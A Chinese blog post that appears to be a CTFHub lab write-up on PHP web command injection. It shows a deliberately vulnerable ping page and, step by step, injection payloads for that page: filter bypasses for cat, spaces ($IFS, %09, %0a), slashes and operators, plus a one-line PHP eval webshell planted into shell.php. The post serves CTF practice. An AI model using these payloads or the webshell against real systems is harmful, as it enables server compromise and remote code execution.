Web命令注入

无过滤

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}

?>

<!DOCTYPE html>
<html>
<head>
    <title>CTFHub 命令注入-无过滤</title>
</head>
<body>

<h1>CTFHub 命令注入-无过滤</h1>

<form action="#" method="GET">
    <label for="ip">IP : </label><br>
    <input type="text" id="ip" name="ip">
    <input type="submit" value="Ping">
</form>

<hr>

<pre>
<?php
if ($res) {
    print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>

观察html代码发现ping直接将输入的IP地址连接在命令行后,可以使用分隔符运行想要注入的指令
先使用ls指令查看文件目录

127.0.0.1;ls;

返回目录:

Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => 13175248123414.php
    [2] => index.php
)

查看php获得flag

127.0.0.1;cat 13175248123414.php;

flag藏在注释里

过滤cat命令

用其他命令代替

more less tail tac 都行

反斜杠和连接符

ca\t ca’‘t 都可以绕过前端检测

注入木马

构造一句话木马

echo "<?php @eval(\$_POST['pass']);?>" >> shell.php;

过滤空格

拿占位符(?)替代即可
这几个测试可以用

<,$IFS$9,IFS

url占位符可以用这几个
%09 Tab 替代空格(%20不知道为什么用不了)
%0a Enter 换行 用于隔开命令

  • 通配符,过滤了特定字符可以用通配符和文件其他特征绕过检测

过滤目录分割符

观察题目需要我们进入文件夹目录得到flag
使用cd再cat就能不用输入了

过滤运算符

|&被过滤了,可以考虑用;
或者用换行符也行(%0a)
upd:换行占位符是在url窗口提交GET请求的时候换的

综合题

啥都过滤完了

if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {

在url栏输入神秘代码
文件结构是用ls调试出来的,找到flag在哪了以后用通配符和连接符绕开检测

ip=127.0.0.1%0acd%09*here%0aca''t%09*.php

参考地址

posted @ 2022-07-20 10:23  Tony_Double_Sky  阅读(155)  评论(0编辑  收藏  举报